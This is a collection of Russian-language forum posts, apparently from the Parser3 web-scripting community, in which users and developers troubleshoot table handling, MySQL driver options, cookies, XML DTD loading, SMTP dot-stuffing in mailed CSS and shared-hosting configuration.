===================================================================\
RCS file: /parser3project/sql/mysql/parser3mysql.C,v\
retrieving revision 1.26\
diff -u -r1.26 parser3mysql.C\
--- mysql/parser3mysql.C	23 Dec 2004 16:54:52 -0000	1.26\
+++ mysql/parser3mysql.C	11 Jan 2006 16:35:44 -0000\
@@ -166,7 +166,11 @@\
 				\"'charset' option is obsolete and should not be used with new 'ClientCharset' option\");\
 \
 		if(!mysql_real_connect(connection.handle, \
-			host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, 0))\
+			/**\
+				with CLIENT_MULTI_STATEMENTS params\
+				code: http://leithal.cool-tools.co.uk/sourcedoc/mysql509/html/mysql__com_8h.html\
+			**/\
+			host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, 65536))\
 			services._throw(mysql_error(connection.handle));\
 \
 		if(cstrBackwardCompAskServerToTranscode) {\
[/code]\
\
Соответствено в процедуре надо думать, что возвращать (таблицу, строку или ничего) и корректно подготовиться к этому."
"48767","Я прекрасно понимаю, что все упирается в текущую концепцию Парсера. А спрашиваю частично из идеологических соображений."
"48768","Не могу понять, не работает...\
\
^my_table[^table::create[^create_my_table[]]\
\
@create_my_table[]\
$a[^table::create{id	name\
0	2\
1	4}]]\
$result[$a]"
"48769","не нужно в передаваемом парамтре методу my_table создавать объект таблицы, он же создается в create_my_table."
"48771","P.S. в @create_my_table[] у вас лишняя закрывающая квадратная скобка, которая вроде не должна мешать."
"48777","1. В первой строчки не хватало в конце одной закрывающей квадратной скобки.\
2. Метод можно упростить — не создавать промежуточную переменную, а сразу в результат создавать таблицу.\
\
Так должно работать вроде...\
\
[code]\
^my_table[^table::create[^create_my_table[]]]\
\
@create_my_table[]\
$result[^table::create{id	name\
0	2\
1	4}]\
[/code]"
"48778","Ну, вообще с $result[^table::create{id	name и т.д. здесь не подойдёт, так как у меня в процедуре идёт сложная генерация таблицы. Создаётся она верно, но не передаётся обратно.\
\
С \"таблица в таблице\" ясно, но как тагда писать?\
[code]^my_table[^create_my_table[]]]\
\
@create_my_table[]\
...\
$result[$a] # a- таблица\
[/code]\
\
Так не получается! так как же венуть таблицу?"
"48779","[code]\
$result[^table::create{[i]tabledata[/i]}]\
[/code]"
"48780","Записал так:\
\
[code]\
^my_table[^create_my_table[]]\
\
@create_my_table[]\
...\
$result[^table::create[$a]] # $a - таблица; ^table::create{tabledata} - нельзя так как таблица должна быть переменной\
[/code]\
\
Ни чего не передаётся! :( \
\
Здесь же разработчики языка тоже есть, подскажите пожалуйста."
"48781","Я понимаю, что таблица должна быть переменной, вы просто попробуйте сделать как я сказал — проверить заработает или нет."
"48783","Работает."
"48784","Дело не в скобке... это я просто описАлся. Ошибок ни каких не выдаёт. Просто не передаётся содержимое таблицы. я её вывожу .menu{...} Ни одного содержимого в (...) не высвечивается!\
\
про \"== ??\" - не понял вопроса..."
"48785","\"не работает == ???\" означает: \"что такое 'не работает' в вашем понимании? выдает ошибку, делает что-то не так или ещё что-либо?\"\
\
примитивный тест (copy/paste вашего кода, правка ошибок со скобками и вывод таблицы после её получения):\
[code]\
@main[]\
$t[^table::create[^create_my_table[]]]\
<table border=\"1\">\
^t.menu{\
	<tr>\
		<td>$t.id</td>\
		<td>$t.name</td>\
	</tr>\
}\
</table>\
\
\
@create_my_table[]\
$a[^table::create{id	name\
0	2\
1	4}]\
$result[$a]\
[/code]\
\
у меня все работает. а у вас?"
"48787","Я не имею возможности разобратся как следует с «Парсером». Поэтому и обратился на форум разработчиков. Меня вполне  устраивает перекодировка апачем. Еще раз подчеркну — меня интересует, _как_отключить_перекодировку_в_«Парсере»_.\
Пожалуйста, ответьте прямо —\
• Да, Вы можете подсказать, как _полностью_ отключить какие-либо перекодировки «Парсером».\
• Нет, Вы отрицаете такую возможность (причины не важны).\
Заранее благодарю."
"48789","http://parser2.parser.ru/forum/message.html?id=1160"
"48790","3.2.1 собирается из исходников, доступных с сайта.\
\
в предыдущих версиях — действительно в архиве с исходниками файлика не хватает.\
возьмите его тут:\
\
src/lib/ltdl/config_auto.h\
[code]\
#define HAVE_ASSERT_H 1\
#define HAVE_CTYPE_H 1\
#define HAVE_DIRENT_H 1\
#define HAVE_DLERROR 1\
#define HAVE_DLFCN_H 1\
#define HAVE_ERRNO_H 1\
#define HAVE_INTTYPES_H 1\
#define HAVE_LIBDL 1\
#define HAVE_MALLOC_H 1\
#define HAVE_MEMCPY 1\
#define HAVE_MEMMOVE 1\
#define HAVE_MEMORY_H 1\
#define HAVE_PRELOADED_SYMBOLS 1\
#define HAVE_STDIO_H 1\
#define HAVE_STDLIB_H 1\
#define HAVE_STRCHR 1\
#define HAVE_STRCMP 1\
#define HAVE_STRINGS_H 1\
#define HAVE_STRING_H 1\
#define HAVE_STRRCHR 1\
#define HAVE_SYS_DL_H 1\
#define HAVE_SYS_STAT_H 1\
#define HAVE_SYS_TYPES_H 1\
#define HAVE_UNISTD_H 1\
#define LTDL_OBJDIR \".libs/\"\
#define LTDL_SHLIBPATH_VAR \"LD_LIBRARY_PATH\"\
#define LTDL_SHLIB_EXT \".so\"\
#define LTDL_SYSSEARCHPATH \"/lib:/usr/lib\"\
#define PACKAGE_BUGREPORT \"\"\
#define PACKAGE_NAME \"\"\
#define PACKAGE_STRING \"\"\
#define PACKAGE_TARNAME \"\"\
#define PACKAGE_VERSION \"\"\
#define STDC_HEADERS 1\
#define error_t int\
[/code]"
"48792","http://www.parser.ru/forum/?id=16130\
\
«я не имею возможности как следует разобраться с педалью тормоза, мне нужно скорее ехать, скорей же объясните мне, как нажать на газ и включить седьмую скорость!»"
"48793","Обнаружил, что с nconvert как-то странно рабоает ресайз, если задана только одна велична - ширина или высота. Для -resize изменил в строке вызова скрипта\
[code]-resize;^if(^params.x_size.int(0) > 0){$params.x_size};^if(^params.y_size.int(0) > 0){$params.y_size};\
[/code]на[code]-resize;^if(^params.x_size.int(0) >= 0){$params.x_size}{0};^if(^params.y_size.int(0) >= 0){$params.y_size}{0};\
[/code] то есть добавил проверку на >=0 и добавил умолчательный 0, если там отрицательное значение"
"48794","Странно... у меня ваш код работает. Мой - нет. Приведу полный листинг:\
[code]\
$tree_table[^table::create[^tree_db[topic,topic_id,topic_main_id,7]]]\
<table border=\"1\">\
^tree_table.menu{\
	<tr>\
		<td>\
		   $tree_table.topic_id\
                </td>\
	</tr>\
}\
</table>\
\
@tree_db[table_name;id_name;parent_id_name;id]\
# здесь зугрузка из sql, но сначала, просто зададим таблицу явно.\
$tree_table[^table::create{$id_name	$parent_id_name\
0	0\
1	4\
2	0\
3	2\
4	3\
5	1\
6	5\
7	6}]\
\
$tree_table1[^table::create{$id_name # может здесь проблема?\
$id}]\
^tree[$id;$tree_table1;$id_name;$parent_id_name]\
\
$result[$tree_table1] # если тут вывести таблицу $tree_table1 то всё нормально\
\
\
@tree[id;tree_table1;id_name;parent_id_name][tree_table1] # создаёт таблицу с номерамиродителей.\
^if($id ne 0){\
	^if(^tree_table.locate[$id_name;$id]){\
		$id[$tree_table.$parent_id_name]\
		^tree_table1.append{$id}\
		^tree[$id;$tree_table1;$id_name;$parent_id_name]\
	}{$id[0]}\
}{}[/code]\
\
\
@tree_db[] загружает таблицу и передаёт параметры @tree[]\
@tree[]  Делает просто путь (как в дереве каталого) в таблицу $tree_table1 записывает путь (по номерам)\
$parent_id_name - название столбца с номерами родителей.\
$id_name - название столбца с номерами.\
\
\
PS: Хотел сделать, чтоб из таблицы с указанием названия столбцов номера и родителей, вывелся бы весь путь в таблицу. Естественно указывается номер начального элемента таблицы (id)"
"48795","сейчас в parser выражение только математическое.\
операнды в нём только типов int, double, bool.\
т.е. те операнды, которые легко преобразуются к double и обратно.\
\
а ведь легко могу сделать, чтобы было\
[ReaderMustUnderstandParserInternals]\
не так:\
[code]\
/// VJunction: false\
override Value& as_expr_result(bool) { return *new VBool(false); }\
[/code]\
а так:\
[code]\
/// VJunction: self^method\
override Value& as_expr_result(bool) { \
  return *new VInt(((int)&fjunction.self)^(int)fjunction.method); \
}\
[/code]\
\
[/ReaderMustUnderstandParserInternals]\
\
говоря [i]относительно[/i] человеческим языком, «чтобы числовое значение method-junction было равно [b]АдресОбъекта xor АдресМетода[/b]».\
\
изменить одну строчку в исходнике Parser и \
method-junctions можно будет сравнивать.\
\
однако, если кому нужно, пусть себе сделает.\
мне идея как не нравилась по другим причинам, так и не нравится."
"48796","зачем нужно сравнивать такие указатели?\
какая жизненная задача толкает нас на этот путь?"
"48797","у парсера разделители параметров не ','\
\
а вообще очевидно, что таблицы нормально передаются в $result, и проблема в вашем кода (очень запутаном, разбираться мне лень)"
"48798","человеку надо другое: отключить перекодировку парсера. зачем и почему - не знаю. почему у него перекодирует когда он ставит одинаковые кодировки - тоже не знаю."
"48799","Спасибо громадное! я о запятой :) поставил точку с запятой и всё заработало! сам я дурак, ни чё не скажешь. Странно, тогда почему он не выдал ошибки о \",\"? Или почему корректно всё выполнял до $result?"
"48800","как раз понятно. так и будет, пока он не перестанет горячиться и суетиться, а спокойно почитает.\
\
дружить с русским Apache не нужно. нужно его отключать.\
по многим причинам.\
если кто-нибудь хочет по-другому: спасение утопающих…"
"48801","Разговор админа и Windows NT\
\
- Вы уверены,что хотите удалить папку D:\\TEMP ?\
- Да.\
- В этой папке находятся файлы. Вы уверены, что хотите их удалить?\
- Да!\
- Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены?\
- Да! Да! Да!!! \
- Эти файлы могут использоваться системой. Вы уверены?\
- Пошла ты на#уй! - заорал админ и нажал Cancel.\
- Ага! Испугался! - подумала NT"
"48802","Создается событие $OnUpdate[^Event::Create[]]. Затем в него добавляются обработчики ^OnUpdate.AddHandler[$SomeClass1:Method1], ^OnUpdate.AddHandler[$SomeClass2:Method2], ^OnUpdate.AddHandler[$SomeClass1:Method1].\
\
Затем в каком-то месте происходит вызов события: ^OnUpdate.Invoke[param1;param2] и последовательно выполняются переданные обработчики.\
\
Все, до этих пор проблем не было. Решил добавить метод, позволяющий удалить один из обработчиков - ^OnUpdate.RemoveHandler[$SomeClass1:Method1].\
\
Метод RemoveHandler должен удалить 1 обработчик с заданным методом. Причем перебр должен происходить с конца (удаляется последний).\
\
В данный момент удаление нигде не используется, но хотелось бы чтобы присутствовало, для полноты класса."
"48804","красиво понятно полезно.\
как-нибудь добавлю приведённое решение в исходник.\
\
для приведённого примера со статическими методами можно пока так:\
[code]\
^event.addHandler[class1;method1]\
...\
@addHandler[className;methodName]\
$hash.[^hash._count[]][\
    $.className[$className]\
    $.methodName[$methodName]\
]\
[/code]\
и потом при вызове собирать.\
но только [b]пока[/b] не будет прямой возможности сравнить."
"48805","[b]Как загрузить скрипт, на выходе дающий картинку, с передачей параметров.[/b]\
\
Пробовал\
[code]^image::load[http://${env:HTTP_HOST}/${filename}?param1=value1]\
и все вытекающие из этого варианты:\
^image::load[^taint[as-is][http://${env:HTTP_HOST}/${filename}?param1=]^untaint[uri]{$value1}][/code]"
"48806","UPD: И грузить, конечно, с помощью ^file::load. Затем делать ^image::measure."
"48807","Больше нет способов?\
Можно ли как нибудь обойти Парсеровское ^taint[file-spec][filename] при загрузке картинки через ^image::load[]"
"48809","сначала загрузите файл, потом делайте с ним, что хотите."
"48810","Ок, все формы принадлежащие типу данных лежит в правильном порядке в XML, и обрабатывается при выводе.\
Вопрос первый, XML формируется при создании или редактировании типа данных или создается при запросе каждый раз автоматически.\
Вопрос второй, если храниться статически, то например поле заголовок присутствует в пяти типах и в каждом из них повторяется, нехорошо...\
Сейчас у меня два запроса: первый выбирает type_id второй все формы принадлежащие данном type_id из другой таблицы, где id = type_id a form_id = ид типу формы, решение придумывается для дальнейшего вывода форм в CMS."
"48811","Как быть, если картинка является результатом работы скрипта, которому необходимо пердать переменные"
"48812","думайте о внешнем файле: [i]файл фааййлл[/i]. примерно так."
"48813","http://permlug.org/data/docs/dzen/one_byte_story.html"
"48814","Читать всем.\
\
Жаль про байт неизвестно осталось ;)..."
"48818","что в просветлённом состоянии автор сумел ужаться даже больше, чем нужно было :)"
"48836",".., а ещё лучше команда оных. Имеющий(ая) СЕРЬЁЗНЫЙ опыт в написании \"BackOffice\" для интернет-магазина. Заказчик настроен на долговременное сотрудничество, но чтобы не было так: \"чел сидит и год пишет, получает зарплату, а потом уходит и где оно всё?\" %)))"
"48837","Не сочтите за оффтоп...\
\
На странице\
[url=\"http://dev.mysql.com/doc/refman/4.0/ru/set.html\"]http://dev.mysql.com/doc/refman/4.0/ru/set.html[/url]\
\
в качестве примера приведен код\
[code]mysql>mysql> SELECT * FROM tbl_name WHERE set_col & 1;[/code]\
\
Если по полю [b]set_col[/b] создан индекс, то в таком запросе он не участвует.\
\
Какое решение может быть, если данные нужно хранить в виде битовых масок и искать по этим полям нужно максимально быстро?\
\
Заранее спасибо!\
С наступающим Старым Новым годом!"
"48838","скажем, 4 бита:\
\
[code]\
--было\
...where rights & 1\
--стало\
...where rights in (1,3,5,7,9,11,13,15)\
[/code]\
\
тут индекс участвовать будет."
"48839","На хостинге для каждого домена создается отдельный cgi-bin. Хочется иметь одну копию Парсер (в main_host), но использовать его везде. Прописать в .htaccces дочерних доменов его как обработчик html вызывает ошибку 400 (Bad Host).\
\
Потому в cgi-bin дополнительных доменов был положен parser3.sh следующего содержания:\
[code]cd ./../../main_host/cgi-bin/parser\
./parser3.cgi[/code] и соответственно этот скрипт был назанчен обработчкиом .html.\
\
Так все хорошо работает. Но использовать другой конфиг auto.p не получается. Причем если запускать парсер напрямую из-под shell:\
[code]$ ~/main_host/cgi-bin/parser/parser3.cgi -f ~/host_two/cgi-bin/auto.p файл[/code] конфиг подгружается, а вот в скрипте перепробовал все варианты: ~/host_two.. , /home/username/host_two..., ./../../../host_two/...  — специфичный конфиг не используется.\
\
Также прописывался SetEnv CGI_PARSER_CONFIG в host_two/htdocs/.htaccess и в host_two/cgi-bin/.htaccess (где parser3.sh лежит) — ноль эффекта.\
\
Может быть конфиг вообще нельзя задать при таком вызове парсера?"
"48842","Сам сижу на таком хостинге. Поэтому в корне своего домашнего каталога сделал bin и положил все в него, а в public_html и в дочерних доменах сделал cgi-bin линками на этот bin - все замечательно работает."
"48843","Работает, да. Но каждому хосту свой конфиг задать не получается.\
SetEnv CGI_PARSER_CONFIG почему-то не хочет читаться парсером.\
\
Result: Если надо отдельный конфиг — заводим отдельный парсер?"
"48844","если ещё будут предложения, то мылом их мыльти..."
"48845","если запускать парсер напрямую из-под shell, конфиг auto.p ложить в ту-же директорию, где скрипт - работает, только пути к библиотекам переписывать"
"48846","auto.p лежит у меня в корнях всех поддоменов, а рядом с parser3.cgi вообще ничего нет. То есть MAIN строится от корня сайта, а глобального auto.p для всех поддоменов просто нет"
"48848","Впервые вижу такое сообщение:\
\
[b]file[/b]\
element can not be stored to stateless_class\
\
                                [i]Parser 3.21[/i]\
\
Ошибка происходит в этом коде:\
[code]\
@sql_get_object_types[]\
$result[^MAIN:pSQL.table{\
			SELECT\
				object_type_id AS id,\
				name\
			FROM\
				object_type\
			}\
}[][\
# следующая строка вызывает ошибку:\
	$.file[object_types.cache]\
#--------------^\
	$.cache_interval(14)\
]]\
### End of @sql_get_object_types[]\
[/code]\
\
Если убрать параметры кеширования, то все работает.\
\
Рядом обсолютно нормально функционируют аналогичные методы, которые так же само делают кешированый запрос и возвращают результат."
"48849","в результате хеш $.file[object_types.cache] пишется прямо в body, о чем собственно и ругань."
"48850","Пожалуйста подскажи мне выход из этой ситуации, делаю графический интерфейс для защищенной ситемы внутреннего пользования."
"48851","Если я правильно понимаю, то используйте $img[^file::load[]] а уж затем $pict[^image::measure[$img]]"
"48852","Символьный линк на parser3.cgi не работает, сделал жесткий — работает. Теперь все хорошо, спасибо :)"
"48857","Проще обновлять версию, проще установить на поддомен."
"48858","[b]:[/b])\
\
И как я этого не заметил"
"48859","Он мог вообще отойти от мирской суеты кодописания и уйти в монастырь или дворники..."
"48863","Из личного опыта недорогой и неглючный хостинг (в отличии от peterhost) предоставляет Джино: www.jino.ru/?par=info\
Также у них есть и БЕСПЛАТНЫЙ (70 мегов, php, SQL, контрольная панель и т.п. и, главное, НИКАКИХ БАННЕРОВ И РЕКЛАМЫ!): www.jino-net.ru/register.phtml\
Единственный минус - регистрация на бесплатном иногда не доступна. Но лечиться - постоянно заходя. Просто в браузере сделай страницу Домашней страницей и все будет Ок.\
Еще www.df.ru не плохой (но, имхо, дороговатый)\
Хайвеем был доволен, но после того как они переехали на сервера РБК, все, мля, слетело и пришлось заново все отстраивать - сайт висел в ундерконструкшен. С тех пор им не очень доверяю, так как испортив - они не удосужились все отстроить. Да еще у них и хрень какая-то постоянно была: захожу на сайт - не пашет. Звоню в службу техподдержки (вот тут им большой плюс - люди там у них доброжелательные и оперативные), грю - че-та не работает. Изменения не вносил. Попросили назвать на кого оформлен, назвал. Сказали - обновить страницу - обновил - все заработало. На вопрос в чем была проблема, сказали что что-то там с sql базой, но не по нашей вине. И что при возникновении таких ситуаций - сразу им отзваниваться.\
А вообще - для выбора хостинга лучше руководствоваться этим сайтом: http://www.hostobzor.ru (я им для Джино руководствовался)"
"48864","Кто знает как сделать filename в {FILE \"filename\"} параметром из PHP скрипта? Я пробовал писАть {FILE \"{filename}\"}, а в РНР скрипте aasignoвал в {filename} имя файла, но ничё не получилось!!!"
"48866","Нижеприведенный код работал на Parser 3.1.4, после обновления до версии 3.2.1 стал выдавать ошибку:\
\
[quot]\
[b]create[/b]\
I/O warning : failed to load external entity \"http://server/s/entities.dtd\"\
<!DOCTYPE page SYSTEM \"http://server/s/entities.dtd\">\
[/quot]\
\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<!DOCTYPE page SYSTEM \"http://$env:SERVER_NAME/s/entities.dtd\">\
...\
}]\
[/code]\
\
[b]entities.dtd[/b]:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!ENTITY nbsp \"&#160;\">\
<!ENTITY copy \"&#169;\">\
<!ENTITY laquo \"&#171;\">\
<!ENTITY raquo \"&#187;\">\
<!ENTITY times \"&#215;\">\
<!ENTITY hellip \"&#133;\">\
<!ENTITY ndash \"&#150;\">\
<!ENTITY mdash \"&#151;\">\
[/code]"
"48869","[code]\
$a(5000000)\
^a.int[] -> 5000000\
$cookie:a[$a]\
(перезагружаем страницу для корректности)\
^cookie:a.int[] -> error (invalid number)\
^cookie:a.double[] -> 5e+006\
[/code]\
Дальше - больше.\
[code]\
$a -> 5000000\
$cookie:a[string${a}string]\
$cookie:a -> string5e+006string\
[/code]\
Если число преобразовать в строку до помещения в куку, то все в порядке.\
Хотелось бы знать, зачем и почему числа в cookie подвергаются такому (какому?) преобразованию, и как с этим бороться."
"48871","http://www.parser.ru/news/\
[quote]Изменен способ вывода чисел, теперь $value(1230000) $value напечатает 1230000 (было: 1.23e+006).[/quote]"
"48873","Нормально выводит и в html, и в строковые переменные."
"48874","В куку тоже 5000000 пишется."
"48877","Разработал скрипт, для управления рассылками на сайте. Возникла одна проблема, причину которой я не понимаю.\
Почему-то при рассылке писем в некоторых сообщениях добавляются дополнительные точки. Т.е. в <head> описываются CSS стили:\
[code]\
!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<style type=\"text/css\"><!--\
body{margin:0px^; padding:0px^;}\
.inc{FONT-SIZE: 9pt^;color:#000000^; font-family:verdana,tahoma,arial,sans-serif}\
A:link {COLOR: #000099^; TEXT-DECORATION: none^; FONT-FAMILY:\"verdana\",tahoma,arial,sans-serif^; FONT-SIZE:9pt}\
A:visited {COLOR: #000099^; TEXT-DECORATION: none^; FONT-FAMILY:\"verdana\",tahoma,arial,sans-serif^; FONT-SIZE:9pt}\
A:active {COLOR: #000099^; TEXT-DECORATION: none^; FONT-FAMILY:\"verdana\",tahoma,arial,sans-serif^; FONT-SIZE:9pt}\
A:hover {COLOR: #000099^; TEXT-DECORATION: underline^; FONT-FAMILY:\"verdana\",tahoma,arial,sans-serif^; FONT-SIZE:9pt}\
.big{FONT-SIZE: 11pt^;color:#000000^; font-family:verdana,tahoma,arial,sans-serif}\
A.big_link{COLOR: FONT-SIZE:12pt^;FONT-WEIGHT:bold}\
A.big_link:hover{COLOR: FONT-SIZE:12pt^;FONT-WEIGHT:bold}\
A.big_link:link{COLOR: FONT-SIZE:12pt^;FONT-WEIGHT:bold}\
A.big_link:active{COLOR: FONT-SIZE:12pt^;FONT-WEIGHT:bold}\
A.big_link:visited{COLOR: FONT-SIZE:12pt^;FONT-WEIGHT:bold}\
--></style>  \
</head>\
[/code]\
\
И в классах .inc и .big добавляется лишняя точка, т.е. получается ..inc, ..big\
Откуда она там может взяться я не понимаю (причем чать писем уходит нормально)"
"48879","Добавление фиксируете до отправки письма или у получателя в почтовом клиенте после получения? Может особенности почтовых программ: http://forum.mozilla.ru/viewtopic.php?pid=74385."
"48880","Добавление фиксируется у получателя. Клиенты одинаковые (The BAT)"
"48881","Самое странное в том, что если бы где-то была упущена эта точка и потом при рассылке писем в цикле она бы подставлялась, то точка появиалсь бы во всех строках, а здесь только выборочно в 2 и причем не во всех письмах."
"48882","Например, написать в одну строчку .inc и .big:[code]body{}.inc{}\
A:hover {}.big{}[/code]\
\
Или написать еще так:[code].not_exist_class_name,.inc{}\
.not_exist_class_name,.big{}[/code]"
"48884","Спасибо, действительно надо попробовать Ваш вариант.\
К сожалению при пробной рассылке - все ок, а вот при рассылке общей (где много юзеров) - такие вещи встречаются.\
Поэтому о результатах сообщу дня через 2-3"
"48885","Один из вариантов:\
Я попробовал изменить адрес для пробной рассылки и указал ящик на inbox (до этого стоял ящик от хостера) и в пробной рассылке появлась лишняя точка.\
Значит здесь может быть дело в настройках приема почты на сервере.\
Попробовал использовать ваш 1 вариант - тоже самое.\
Второй вариант (запись в строчку) - помог.\
\
Спасибо!"
"48891","Я рассматривал это как вариант, но боюсь из-за различий E-mail клиентов, могут возникнуть проблемы. Да и идеологически это не правильно, например если мне понадобится 20 классов - придется искать 20 тегов (напрмиер <big>, <h1>, <small> и т.д.)"
"48892","как создать изображение с сгенерированным текстом, необходимого для размещения текста размера?\
\
[code]\
$text[^image::create(100;100))] \
^text.font[ABC ... 890;type.gif](8) \
^text.text(1;1)[$form:text] \
$response:body[^text.gif[]]\
[/code]\
\
... при таком методе изображение будет 100 на 100 ...а нужно чтобы оно было размеров текста ...можно конечно посчитать символы в переменной «текст», но это ведь только для моноширных шрифтов сработает..."
"48895","h1.class1\
h1.class2\
h1.class3\
h1.class4\
h1.class5\
и т.д."
"48897","Эта тема уже поднималась но так и не решилась:\
\
$file[^file::load[text;/test.php]]\
^untaint{$file.text}\
\
Содержание test.php:\
\
<?\
echo \"PHP\";\
?>\
\
Почему в браузер получаю:\
\
<?\
echo \"PHP\";\
?>\
\
а не \
\
PHP"
"48899","Вам нужен результат его работы, поэтому он должен выполниться:\
[code]$file[^file::load[text;http://your_site/test.php][/code]"
"48903","не актуально... вопрос решён"
"48904","Если кому нужен, я для себя и своих клиентов компилировал. Для операционки FreeBSD 5.4 \
Версия парсер 3.1.6\
\
В архиве сам парсер и драйвер mysql и все остальное.\
 Компилировал без xml, так не кому он не нужен был.\
\
[url=\"http://www.pwstudio.ru/parser3.tgz\"]http://www.pwstudio.ru/parser3.tgz[/url]\
\
Строка конфигурирования:\
./configure --prefix=/parser3inst --with-shared-gc=/usr/local/lib --silent --with-dynamic-stdcpp \
\
Если у вас не работает отправка post, вам надо отпинать хостинг провайдера и заставить его поставить в конфиге апача (/usr/local/apache/conf/httpd.conf)\
чтобы модули\
LoadModule bandwidth_module   libexec/mod_bandwidth.so\
\
и\
\
AddModule mod_bandwidth.c\
\
стояли сверху в списке модулей. Что бы при перезагрузке апача они грузились первыми.\
\
Зачем? беспонятия. но без этого не работает отправка post"
"48905","В SSI работает очень изящно — можно определить не только конкретную папку, но и _все_что_угодно_, связанное с именем этой папки. Единственное неудобство — все имена должны быть уникальными, иначе нужны дополнительные условия."
"48908","Уважаемые специалисты! Мне необходимо сделать шаблон фан-сайта на parser'е. Сайт посвящен одной очень известной личности. Оплата договорная, по WebMoney, Яндекс.Деньги, или любому удобному для вас методу. Если это кого-то заинтересовало, просьба обращаться на e-mail: mr_oldboy@lycos.co.uk или ICQ: 178100135, предпочтительно на e-mail, т.к. ICQ использую редко. Заранее благодарен."
"48909","Допустим, мне нужно проверить, что пользователь находится в папке /home, причем не важно — где именно:\
/home/room.html\
или\
/home/room/table.html\
да хоть\
/home/room/undertable/coder.html\
\
В SSI все решается просто:\
<!--#if expr=\"$DOCUMENT_URI=/\\/home\\//\" -->\
\
В Парсере\
/home/some.html - без проблем.\
/home/room/some.html Упс…"
"48910","Написал вам письмо на ваш e-mail. Там ссылка на мое портфолио"
"48912","Большое спасибо. Я отвечу вам в ближайшее время."
"48915","Проблему не решил, а обошел: просто отказался от деклорации (на первое время)\
\
Попробуйте объявить сущности локально:\
\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<!DOCTYPE page SYSTEM [\
<!ENTITY nbsp \"&#160;\">\
<!ENTITY copy \"&#169;\">\
<!ENTITY laquo \"&#171;\">\
<!ENTITY raquo \"&#187;\">\
<!ENTITY times \"&#215;\">\
<!ENTITY hellip \"&#133;\">\
<!ENTITY ndash \"&#150;\">\
<!ENTITY mdash \"&#151;\">\
]>\
\
<page>\
...\
</page>\
}]\
[/code]"
"48916","Вот что нашел в [url=\"http://www.shipko.com.ua/docs/ms_xml_5.0.chm\"]документации[/url]:\
\
[quote]\
The standalone declaration indicates whether a document relies on information from an external source, such as external document type definition (DTD), for its content.\
\
If the standalone declaration has a value of \"yes\", for example, <?xml version=\"1.0\" standalone=\"yes\"?>, the parser will report an error if the document references an external DTD or external entities.\
\
Leaving out the standalone declaration produces the same result as including a standalone declaration of \"no\". The XML parser will accept external resources, if there are any, without reporting an error.\
[/quote]\
\
\
Надо будет попробовать так:\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" standalone=\"no\"?>\
<!DOCTYPE page SYSTEM \"http://$env:SERVER_NAME/s/entities.dtd\">\
...\
}]\
[/code]"
"48919","http://www.templatemonster.com/ - вот там и делают, и продают шаблоны."
"48920","Похоже, для решения этой элементарной задачи придется писать большой кусок кода. Господа разработчики, тогда получается, что построение навигации на «Парсере» не такое удобное, как об этом заявлено в документации.\
Обычно, желая создать новую, удобную технологию, сначала изучают старые. SSI, видимо, в расчет не брали вовсе, хотя принцип очень схож, и Ваше заявление\
***\
Parser в известном смысле — макроязык, в нём нет оператора print; весь текст, набранный в исходном файле, суть большой оператор print. Конструкции Parser являются погруженными в текст.\
***\
расчитано на людей, не слышавших доселе об SSI."
"48921","сюрприз: разработчики читали многое."
"48922","небольшая просьба:\
возьмите себя в руки и перестаньте шуметь.\
\
для горячих парней ведёрко водички:\
ещё пара вопросов, имеющих буквальные ответы в документации и FAQ, вопросы будут удалены неглядя."
"48923","Я может не до конца понимаю что вы хотите сделать за меню, но сделать меню сайта на парсер можно и это не требует больших кусков кода и так далее... последний раз я уложился в 37 строк для меню с вложенными подменю (1 уровень)... и не имеет значения что у вас есть несколько вложенных директорий."
"48924","2. \
возможно, такая ситуация:\
/htdocs/.htaccess << тут пытаетесь рулить\
/vcgi/\
\
так ваша директива не сработает. нужно поместить её\
/htdocs/\
/vcgi/.htaccess <<сюда"
"48926","остальные файлы можно сложить в общую кучку и из каждого auto.p сделать ссылку на эту общую кучку.\
\
а разные имена полезны: когда что-нибудь подвиснет, в top будет чётко видно, с какого проекта что подвисло, а не анонимный \"parser3.cgi\".\
\
мы так делаем."
"48927","у вас \
news.html?...\
надо\
/news.html?..."
"48929","увы, письмо об этом не было себе написано = не попало в доку и на сайт.\
\
тут вот какая штука:\
я заметил, что народ (=мои коллеги) расслабился, и вовсю именно так и пишет.\
при этом никак не учитывает (народ не учитывает), что это лишний HTTP запрос.\
\
в libxml есть славная система с /etc/catalog, однако мне она показалась не очень изящно ложащейся на наши с вами привычки. а удобного способа встроить свой собственный catalog, как удалось встроить собственные кодировки внутрь чужой библиотеки, не нашлось (не очень внимательно и искалось).\
\
вывод: копируйте .dtd на диск сервера и делайте на него ссылку в дисковое пространство (относительную или вида http://localhost=это реально означает \"из $request:document-root\", а вовсе не HTTP подзапрос)."
"48930","[quote]\
Александр, этот пост такой распухший по одной причине — я не смог добиться от «Парсера» корректной работы с русскими кодировками под русским apache. PAF уверяет, что достаточно отключить кодировки в .htaccess в папках www и cgi-bin\
Мне удалось на своем локальном сервере решить проблему, только отключив _всю_ функциональность по перекодированию в httpd.conf\
Только боюсь, что провайдер, у которого я собираюсь хостить сайт, не позволит мне так извращаться над его апачем. \
[/quote]\
\
1. вы чего-то боитесь, не проверив.\
если посмотреть на документацию по русскому apache,\
http://apache.lexa.ru/configure.html#charsetturnoff\
видно, что выключить его может любой из .htaccess\
так что никто вам этого ни на каком hosting не запретит.\
\
2. я не говорю, что отключить перекодировку в Parser невозможно — я говорю, что если вам это нужно, вы берёте и читаете документацию по Parser самостоятельно.\
чего-то требовать от окружающих нельзя. денег вам кто-то из нас должен?"
"48931","про формат-по-умолчанию в доке есть."
"48932","в SMTP спецификации написано, что принимаемое к доставке письмо должно быть в конце ограничено \"<начало строки>точка<enter>\".\
там же написано, что если у вас в начале строки точка, необходимо её удвоить, чтобы SMTP сервер не воспринял её, как конец сообщения.\
\
вы говорите, что портятся \"некоторые\" сообщения, отсылаемые в одном цикле.\
